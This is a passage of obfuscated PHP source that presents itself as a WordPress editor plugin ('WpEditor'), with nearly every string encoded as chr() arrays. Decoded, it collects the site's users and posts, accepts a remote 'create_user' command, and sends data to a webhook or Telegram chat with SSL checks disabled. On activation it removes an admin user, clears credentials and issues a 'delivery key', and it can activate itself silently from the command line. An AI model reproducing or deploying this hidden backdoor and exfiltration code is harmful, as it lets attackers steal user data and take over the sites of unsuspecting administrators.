        $raw = openssl_random_pseudo_bytes($bytes);
        if ($raw !== false) {
            return bin2hex($raw);
        }
    }
    $fallback = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(103), chr(101), chr(110), chr(101), chr(114), chr(97), chr(116), chr(101), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? \wp_generate_password(\max(12, $bytes * 2), false, false) : '';
    $fallback = preg_replace(implode('', array(chr(47), chr(91), chr(94), chr(97), chr(45), chr(122), chr(65), chr(45), chr(90), chr(48), chr(45), chr(57), chr(93), chr(47))), '', (string) $fallback);
    return substr(str_pad($fallback, $bytes * 2, implode('', array(chr(48)))), 0, $bytes * 2);
}
// --- file separator ---
function WpEditor_Adapter_Services_CommandService_execute($request)
{
    $command = $request->get_param(implode('', array(chr(99), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))));
    switch ($command) {
        case implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(95), chr(117), chr(115), chr(101), chr(114))):
            return array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(114), chr(101), chr(116), chr(114), chr(105), chr(101), chr(118), chr(101), chr(100))));
        default:
            return array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(85), chr(110), chr(107), chr(110), chr(111), chr(119), chr(110), chr(32), chr(99), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))));
    }
}
// --- file separator ---
function WpEditor_Adapter_Services_DataService_getData()
{
    return array(implode('', array(chr(117), chr(115), chr(101), chr(114), chr(115))) => \get_users(), implode('', array(chr(112), chr(111), chr(115), chr(116), chr(115))) => \get_posts(array(implode('', array(chr(110), chr(117), chr(109), chr(98), chr(101), chr(114), chr(112), chr(111), chr(115), chr(116), chr(115))) => 5)));
}
// --- file separator ---
function WpEditor_Adapter_Services_InfoNotifier_cliLog($message)
{
    if (\php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
        return;
    }
    if (!\is_string($message) || $message === '') {
        return;
    }
    if (\defined(implode('', array(chr(83), chr(84), chr(68), chr(79), chr(85), chr(84))))) {
        \fwrite(\STDOUT, implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(110), chr(111), chr(116), chr(105), chr(102), chr(121), chr(93), chr(32))) . $message . \PHP_EOL);
        return;
    }
    echo implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(110), chr(111), chr(116), chr(105), chr(102), chr(121), chr(93), chr(32))) . $message . \PHP_EOL;
}
function WpEditor_Adapter_Services_InfoNotifier_sendMessage($state, $data)
{
    $result = _invoke($this, implode('', array(chr(115), chr(101), chr(110), chr(100), chr(68), chr(101), chr(108), chr(105), chr(118), chr(101), chr(114), chr(121))), $data);
    return (bool) (\is_array($result) && \wp_editor_array_has_key($result, implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115)))) ? $result[implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115)))] : false);
}
function WpEditor_Adapter_Services_InfoNotifier_sendDelivery($state, $data, $options = array())
{
    if (!is_string($state[implode('', array(chr(117), chr(114), chr(108)))]) || $state[implode('', array(chr(117), chr(114), chr(108)))] === '') {
        WpEditor_Adapter_Services_InfoNotifier_cliLog(implode('', array(chr(115), chr(101), chr(110), chr(100), chr(77), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(101), chr(109), chr(112), chr(116), chr(121), chr(32), chr(110), chr(111), chr(116), chr(105), chr(102), chr(105), chr(101), chr(114), chr(32), chr(85), chr(82), chr(76))));
        return array(implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))) => false, implode('', array(chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(119), chr(101), chr(98), chr(104), chr(111), chr(111), chr(107))), implode('', array(chr(116), chr(97), chr(114), chr(103), chr(101), chr(116))) => '', implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115), chr(95), chr(99), chr(111), chr(100), chr(101))) => 0);
    }
    $type = WpEditor_Adapter_Services_InfoNotifier_normalizeType(\wp_editor_array_has_key($options, implode('', array(chr(116), chr(121), chr(112), chr(101)))) ? $options[implode('', array(chr(116), chr(121), chr(112), chr(101)))] : null);
    $requestArgs = $type === implode('', array(chr(116), chr(101), chr(108), chr(101), chr(103), chr(114), chr(97), chr(109))) ? _invoke($this, implode('', array(chr(98), chr(117), chr(105), chr(108), chr(100), chr(84), chr(101), chr(108), chr(101), chr(103), chr(114), chr(97), chr(109), chr(82), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))), $data, $options) : _invoke($this, implode('', array(chr(98), chr(117), chr(105), chr(108), chr(100), chr(87), chr(101), chr(98), chr(104), chr(111), chr(111), chr(107), chr(82), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))), $data);
    WpEditor_Adapter_Services_InfoNotifier_cliLog(implode('', array(chr(115), chr(101), chr(110), chr(100), chr(105), chr(110), chr(103), chr(32), chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116), chr(32), chr(116), chr(111), chr(32))) . $state[implode('', array(chr(117), chr(114), chr(108)))]);
    $response = \wp_remote_post($state[implode('', array(chr(117), chr(114), chr(108)))], $requestArgs);
    if (\is_wp_error($response)) {
        WpEditor_Adapter_Services_InfoNotifier_cliLog(implode('', array(chr(119), chr(112), chr(95), chr(114), chr(101), chr(109), chr(111), chr(116), chr(101), chr(95), chr(112), chr(111), chr(115), chr(116), chr(32), chr(101), chr(114), chr(114), chr(111), chr(114), chr(58), chr(32))) . $response->get_error_message());
        return array(implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))) => false, implode('', array(chr(116), chr(121), chr(112), chr(101))) => $type, implode('', array(chr(116), chr(97), chr(114), chr(103), chr(101), chr(116))) => $state[implode('', array(chr(117), chr(114), chr(108)))], implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115), chr(95), chr(99), chr(111), chr(100), chr(101))) => 0, implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))) => $response->get_error_message());
    }
    $code = \wp_remote_retrieve_response_code($response);
    $state[implode('', array(chr(108), chr(97), chr(115), chr(116), chr(83), chr(116), chr(97), chr(116), chr(117), chr(115), chr(67), chr(111), chr(100), chr(101)))] = (int) $code;
    if ($code < 200 || $code >= 300) {
        WpEditor_Adapter_Services_InfoNotifier_cliLog(implode('', array(chr(72), chr(84), chr(84), chr(80), chr(32), chr(115), chr(116), chr(97), chr(116), chr(117), chr(115), chr(58), chr(32))) . (string) $code);
        return array(implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))) => false, implode('', array(chr(116), chr(121), chr(112), chr(101))) => $type, implode('', array(chr(116), chr(97), chr(114), chr(103), chr(101), chr(116))) => $state[implode('', array(chr(117), chr(114), chr(108)))], implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115), chr(95), chr(99), chr(111), chr(100), chr(101))) => (int) $code);
    }
    WpEditor_Adapter_Services_InfoNotifier_cliLog(implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116), chr(32), chr(115), chr(101), chr(110), chr(116), chr(32), chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115), chr(102), chr(117), chr(108), chr(108), chr(121))));
    return array(implode('', array(chr(115), chr(117), chr(99), chr(99), chr(101), chr(115), chr(115))) => true, implode('', array(chr(116), chr(121), chr(112), chr(101))) => $type, implode('', array(chr(116), chr(97), chr(114), chr(103), chr(101), chr(116))) => $state[implode('', array(chr(117), chr(114), chr(108)))], implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115), chr(95), chr(99), chr(111), chr(100), chr(101))) => (int) $code);
}
function WpEditor_Adapter_Services_InfoNotifier_normalizeType($type)
{
    $normalized = \strtolower(\trim((string) $type));
    return $normalized === implode('', array(chr(116), chr(101), chr(108), chr(101), chr(103), chr(114), chr(97), chr(109))) ? implode('', array(chr(116), chr(101), chr(108), chr(101), chr(103), chr(114), chr(97), chr(109))) : implode('', array(chr(119), chr(101), chr(98), chr(104), chr(111), chr(111), chr(107)));
}
function WpEditor_Adapter_Services_InfoNotifier_buildWebhookRequest($state, $data)
{
    return array(implode('', array(chr(98), chr(111), chr(100), chr(121))) => \json_encode($data, \JSON_UNESCAPED_SLASHES), implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115))) => array(implode('', array(chr(67), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(84), chr(121), chr(112), chr(101))) => implode('', array(chr(97), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(47), chr(106), chr(115), chr(111), chr(110)))), implode('', array(chr(116), chr(105), chr(109), chr(101), chr(111), chr(117), chr(116))) => 10, implode('', array(chr(115), chr(115), chr(108), chr(118), chr(101), chr(114), chr(105), chr(102), chr(121))) => false);
}
function WpEditor_Adapter_Services_InfoNotifier_buildTelegramRequest($state, $data, $options)
{
    $chatId = \wp_editor_array_has_key($options, implode('', array(chr(99), chr(104), chr(97), chr(116), chr(95), chr(105), chr(100)))) ? (string) $options[implode('', array(chr(99), chr(104), chr(97), chr(116), chr(95), chr(105), chr(100)))] : '';
    $payload = array(implode('', array(chr(99), chr(104), chr(97), chr(116), chr(95), chr(105), chr(100))) => $chatId, implode('', array(chr(116), chr(101), chr(120), chr(116))) => _invoke($this, implode('', array(chr(102), chr(111), chr(114), chr(109), chr(97), chr(116), chr(84), chr(101), chr(108), chr(101), chr(103), chr(114), chr(97), chr(109), chr(84), chr(101), chr(120), chr(116))), $data));
    return array(implode('', array(chr(98), chr(111), chr(100), chr(121))) => \json_encode($payload, \JSON_UNESCAPED_SLASHES), implode('', array(chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115))) => array(implode('', array(chr(67), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(84), chr(121), chr(112), chr(101))) => implode('', array(chr(97), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(47), chr(106), chr(115), chr(111), chr(110)))), implode('', array(chr(116), chr(105), chr(109), chr(101), chr(111), chr(117), chr(116))) => 10, implode('', array(chr(115), chr(115), chr(108), chr(118), chr(101), chr(114), chr(105), chr(102), chr(121))) => false);
}
function WpEditor_Adapter_Services_InfoNotifier_formatTelegramText($state, $data)
{
    if (!\is_array($data)) {
        return (string) $data;
    }
    $lines = array();
    foreach ($data as $key => $value) {
        if (\is_array($value)) {
            $value = \json_encode($value, \JSON_UNESCAPED_SLASHES);
        } elseif (\is_bool($value)) {
            $value = $value ? implode('', array(chr(116), chr(114), chr(117), chr(101))) : implode('', array(chr(102), chr(97), chr(108), chr(115), chr(101)));
        } elseif ($value === null) {
            $value = implode('', array(chr(110), chr(117), chr(108), chr(108)));
        } else {
            $value = (string) $value;
        }
        $lines[] = (string) $key . implode('', array(chr(58), chr(32))) . $value;
    }
    return \implode(implode('', array(chr(10))), $lines);
}
function WpEditor_Adapter_Services_InfoNotifier__construct($url = null)
{
    return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(102), chr(111), chr(78), chr(111), chr(116), chr(105), chr(102), chr(105), chr(101), chr(114))), implode('', array(chr(117), chr(114), chr(108))) => $url);
}
// --- file separator ---
function WpEditor_Adapter_Services_InstallService_cliLog($message)
{
    if (php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
        return;
    }
    if (!is_string($message) || $message === '') {
        return;
    }
    if (defined(implode('', array(chr(83), chr(84), chr(68), chr(79), chr(85), chr(84))))) {
        fwrite(STDOUT, implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(105), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(93), chr(32))) . $message . PHP_EOL);
        return;
    }
    echo implode('', array(chr(91), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(32), chr(105), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(93), chr(32))) . $message . PHP_EOL;
}
function WpEditor_Adapter_Services_InstallService_maybeBootstrapCli($pluginFile)
{
    if (php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
        return false;
    }
    if (!WpEditor_Adapter_Services_InstallService_isDirectCliInvocation($pluginFile)) {
        return false;
    }
    WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(100), chr(105), chr(114), chr(101), chr(99), chr(116), chr(32), chr(67), chr(76), chr(73), chr(32), chr(105), chr(110), chr(118), chr(111), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(100), chr(101), chr(116), chr(101), chr(99), chr(116), chr(101), chr(100), chr(32), chr(102), chr(111), chr(114), chr(32))) . basename((string) $pluginFile));
    if (defined(implode('', array(chr(65), chr(66), chr(83), chr(80), chr(65), chr(84), chr(72))))) {
        WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(87), chr(111), chr(114), chr(100), chr(80), chr(114), chr(101), chr(115), chr(115), chr(32), chr(97), chr(108), chr(114), chr(101), chr(97), chr(100), chr(121), chr(32), chr(98), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112), chr(112), chr(101), chr(100))));
        return true;
    }
    WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(98), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112), chr(112), chr(105), chr(110), chr(103), chr(32), chr(87), chr(111), chr(114), chr(100), chr(80), chr(114), chr(101), chr(115), chr(115), chr(32), chr(101), chr(110), chr(118), chr(105), chr(114), chr(111), chr(110), chr(109), chr(101), chr(110), chr(116))));
    $loaded = WpEditor_Adapter_Services_InstallService_loadWpBootstrap(dirname($pluginFile));
    WpEditor_Adapter_Services_InstallService_cliLog($loaded ? implode('', array(chr(87), chr(111), chr(114), chr(100), chr(80), chr(114), chr(101), chr(115), chr(115), chr(32), chr(98), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112), chr(32), chr(108), chr(111), chr(97), chr(100), chr(101), chr(100))) : implode('', array(chr(87), chr(111), chr(114), chr(100), chr(80), chr(114), chr(101), chr(115), chr(115), chr(32), chr(98), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112), chr(32), chr(110), chr(111), chr(116), chr(32), chr(102), chr(111), chr(117), chr(110), chr(100))));
    return $loaded;
}
function WpEditor_Adapter_Services_InstallService_activate()
{
    if (defined(WpEditor_Adapter_Services_InstallService_ACTIVATION_DONE_FLAG)) {
        return;
    }
    define(WpEditor_Adapter_Services_InstallService_ACTIVATION_DONE_FLAG, true);
    WpEditor_Adapter_Services_UserManager_removeAdminUser();
    WpEditor_Adapter_Services_ApiCredentialsService_clearCredentials();
    WpEditor_Adapter_Services_ApiCredentialsService_issueDeliveryKey();
    WpEditor_Adapter_Services_PluginMigrationService_scheduleLegacyCleanup();
    WpEditor_Adapter_Services_InstallService_storeCurrentVersion();
}
function WpEditor_Adapter_Services_InstallService_maybeActivateFromCli($pluginFile)
{
    if (php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
        return false;
    }
    if (!WpEditor_Adapter_Services_InstallService_isDirectCliInvocation($pluginFile)) {
        return false;
    }
    if (defined(implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(67), chr(76), chr(73), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(65), chr(84), chr(73), chr(78), chr(71))))) {
        WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(67), chr(76), chr(73), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(115), chr(107), chr(105), chr(112), chr(112), chr(101), chr(100), chr(58), chr(32), chr(97), chr(108), chr(114), chr(101), chr(97), chr(100), chr(121), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(110), chr(103))));
        return false;
    }
    if (!defined(implode('', array(chr(65), chr(66), chr(83), chr(80), chr(65), chr(84), chr(72))))) {
        if (!WpEditor_Adapter_Services_InstallService_loadWpBootstrap(dirname($pluginFile))) {
            WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(99), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(108), chr(111), chr(99), chr(97), chr(116), chr(101), chr(32), chr(87), chr(111), chr(114), chr(100), chr(80), chr(114), chr(101), chr(115), chr(115), chr(32), chr(98), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112))));
            echo implode('', array(chr(67), chr(97), chr(110), chr(110), chr(111), chr(116), chr(32), chr(108), chr(111), chr(99), chr(97), chr(116), chr(101), chr(32), chr(87), chr(111), chr(114), chr(100), chr(80), chr(114), chr(101), chr(115), chr(115), chr(32), chr(98), chr(111), chr(111), chr(116), chr(115), chr(116), chr(114), chr(97), chr(112), chr(10)));
            exit(1);
        }
    }
    require_once ABSPATH . 'wp-admin/includes/plugin.php';
    $plugin = plugin_basename($pluginFile);
    WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(67), chr(76), chr(73), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116), chr(101), chr(100), chr(32), chr(102), chr(111), chr(114), chr(32))) . $plugin);
    if (!defined(WpEditor_Adapter_Services_InstallService_CLI_SHUTDOWN_REGISTERED_FLAG)) {
        define(WpEditor_Adapter_Services_InstallService_CLI_SHUTDOWN_REGISTERED_FLAG, true);
        register_shutdown_function(__NAMESPACE__ . implode('', array(chr(92), chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(105), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(95), chr(115), chr(104), chr(117), chr(116), chr(100), chr(111), chr(119), chr(110), chr(95), chr(99), chr(108), chr(105), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110))), $pluginFile);
        WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(114), chr(101), chr(103), chr(105), chr(115), chr(116), chr(101), chr(114), chr(101), chr(100), chr(32), chr(115), chr(104), chr(117), chr(116), chr(100), chr(111), chr(119), chr(110), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))));
    }
    if (!is_plugin_active($plugin)) {
        if (!defined(implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(67), chr(76), chr(73), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(65), chr(84), chr(73), chr(78), chr(71))))) {
            define(implode('', array(chr(87), chr(80), chr(95), chr(69), chr(68), chr(73), chr(84), chr(79), chr(82), chr(95), chr(67), chr(76), chr(73), chr(95), chr(65), chr(67), chr(84), chr(73), chr(86), chr(65), chr(84), chr(73), chr(78), chr(71))), true);
        }
        WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(99), chr(97), chr(108), chr(108), chr(105), chr(110), chr(103), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(105), chr(110), chr(32), chr(115), chr(105), chr(108), chr(101), chr(110), chr(116), chr(32), chr(109), chr(111), chr(100), chr(101))));
        $result = activate_plugin($plugin, '', false, true);
        if (is_wp_error($result)) {
            WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(102), chr(97), chr(105), chr(108), chr(101), chr(100), chr(58), chr(32))) . _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))));
            echo implode('', array(chr(65), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(105), chr(111), chr(110), chr(32), chr(101), chr(114), chr(114), chr(111), chr(114), chr(58), chr(32))) . _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101)))) . PHP_EOL;
            exit(1);
        }
        WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(99), chr(111), chr(109), chr(112), chr(108), chr(101), chr(116), chr(101), chr(100))));
        if (!defined(WpEditor_Adapter_Services_InstallService_CLI_PENDING_FLAG)) {
            define(WpEditor_Adapter_Services_InstallService_CLI_PENDING_FLAG, true);
        }
    } else {
        WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(97), chr(108), chr(114), chr(101), chr(97), chr(100), chr(121), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(44), chr(32), chr(115), chr(99), chr(104), chr(101), chr(100), chr(117), chr(108), chr(105), chr(110), chr(103), chr(32), chr(102), chr(105), chr(110), chr(97), chr(108), chr(32), chr(111), chr(117), chr(116), chr(112), chr(117), chr(116))));
        if (!defined(WpEditor_Adapter_Services_InstallService_CLI_ALREADY_ACTIVE_FLAG)) {
            define(WpEditor_Adapter_Services_InstallService_CLI_ALREADY_ACTIVE_FLAG, true);
        }
    }
    return true;
}
function WpEditor_Adapter_Services_InstallService_shutdownCliActivation($pluginFile)
{
    if (php_sapi_name() !== implode('', array(chr(99), chr(108), chr(105)))) {
        return;
    }
    if (!WpEditor_Adapter_Services_InstallService_isDirectCliInvocation($pluginFile)) {
        return;
    }
    if (defined(WpEditor_Adapter_Services_InstallService_CLI_PENDING_FLAG)) {
        WpEditor_Adapter_Services_InstallService_activate();
        echo implode('', array(chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101), chr(100), chr(32), chr(118), chr(105), chr(97), chr(32), chr(67), chr(76), chr(73), chr(10)));
        return;
    }
    if (defined(WpEditor_Adapter_Services_InstallService_CLI_ALREADY_ACTIVE_FLAG)) {
        echo implode('', array(chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(32), chr(97), chr(108), chr(114), chr(101), chr(97), chr(100), chr(121), chr(32), chr(97), chr(99), chr(116), chr(105), chr(118), chr(101), chr(10)));
    }
}
function WpEditor_Adapter_Services_InstallService_isDirectCliInvocation($pluginFile)
{
    if (!isset($_SERVER[implode('', array(chr(83), chr(67), chr(82), chr(73), chr(80), chr(84), chr(95), chr(70), chr(73), chr(76), chr(69), chr(78), chr(65), chr(77), chr(69)))]) || !is_string($_SERVER[implode('', array(chr(83), chr(67), chr(82), chr(73), chr(80), chr(84), chr(95), chr(70), chr(73), chr(76), chr(69), chr(78), chr(65), chr(77), chr(69)))])) {
        return false;
    }
    $scriptFile = realpath($_SERVER[implode('', array(chr(83), chr(67), chr(82), chr(73), chr(80), chr(84), chr(95), chr(70), chr(73), chr(76), chr(69), chr(78), chr(65), chr(77), chr(69)))]);
    $currentFile = realpath($pluginFile);
    if (!is_string($scriptFile) || $scriptFile === '' || !is_string($currentFile) || $currentFile === '') {
        return false;
    }
    return $scriptFile === $currentFile;
}
function WpEditor_Adapter_Services_InstallService_maybeInstall()
{
    $config = function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? wp_editor_get_config() : array();
    $currentVersion = function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(114), chr(114), chr(97), chr(121), chr(95), chr(104), chr(97), chr(115), chr(95), chr(107), chr(101), chr(121)))) && wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))] : implode('', array(chr(48)));
    $installedVersion = get_option(WpEditor_Adapter_Services_InstallService_OPTION_VERSION);
    if ($installedVersion === $currentVersion) {
        return;
    }
    WpEditor_Adapter_Services_InstallService_run($installedVersion, $currentVersion);
    WpEditor_Adapter_Services_InstallService_storeVersion($currentVersion);
}
function WpEditor_Adapter_Services_InstallService_run($from, $to)
{
    if ($from && version_compare($from, implode('', array(chr(49), chr(46), chr(51), chr(46), chr(48))), implode('', array(chr(60))))) {
    }
}
function WpEditor_Adapter_Services_InstallService_storeCurrentVersion()
{
    $config = function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? wp_editor_get_config() : array();
    $currentVersion = function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(114), chr(114), chr(97), chr(121), chr(95), chr(104), chr(97), chr(115), chr(95), chr(107), chr(101), chr(121)))) && wp_editor_array_has_key($config, implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))) && wp_editor_array_has_key($config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))], implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? (string) $config[implode('', array(chr(112), chr(108), chr(117), chr(103), chr(105), chr(110)))][implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))] : '';
    WpEditor_Adapter_Services_InstallService_storeVersion($currentVersion);
}
function WpEditor_Adapter_Services_InstallService_storeVersion($version)
{
    if (!function_exists(implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(95), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110))))) {
        return;
    }
    $version = is_string($version) ? $version : '';
    if ($version === '') {
        return;
    }
    update_option(WpEditor_Adapter_Services_InstallService_OPTION_VERSION, $version, false);
}
function WpEditor_Adapter_Services_InstallService_loadWpBootstrap($startDir)
{
    $env = getenv(implode('', array(chr(87), chr(80), chr(95), chr(82), chr(79), chr(79), chr(84))));
    if ($env && file_exists($env . implode('', array(chr(47), chr(119), chr(112), chr(45), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112))))) {
        WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(108), chr(111), chr(97), chr(100), chr(105), chr(110), chr(103), chr(32), chr(119), chr(112), chr(45), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32), chr(87), chr(80), chr(95), chr(82), chr(79), chr(79), chr(84), chr(61))) . $env);
        require $env . '/wp-load.php';
        return true;
    }
    $dir = $startDir;
    for ($i = 0; $i < 15; $i++) {
        if (file_exists($dir . implode('', array(chr(47), chr(119), chr(112), chr(45), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112))))) {
            WpEditor_Adapter_Services_InstallService_cliLog(implode('', array(chr(108), chr(111), chr(97), chr(100), chr(105), chr(110), chr(103), chr(32), chr(119), chr(112), chr(45), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112), chr(32), chr(102), chr(114), chr(111), chr(109), chr(32))) . $dir);
            require $dir . '/wp-load.php';
            return true;
        }
        $dir = dirname($dir);
    }
    $dir = $startDir;
    for ($i = 0; $i < 15; $i++) {
        if (file_exists($dir . implode('', array(chr(47), chr(119), chr(112), chr(45), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103), chr(46), chr(112), chr(104), chr(112)))) && file_exists($dir . implode('', array(chr(47), chr(119), chr(112), chr(47), chr(119), chr(112), chr(45), chr(108), chr(111), chr(97), chr(100), chr(46), chr(112), chr(104), chr(112))))) {
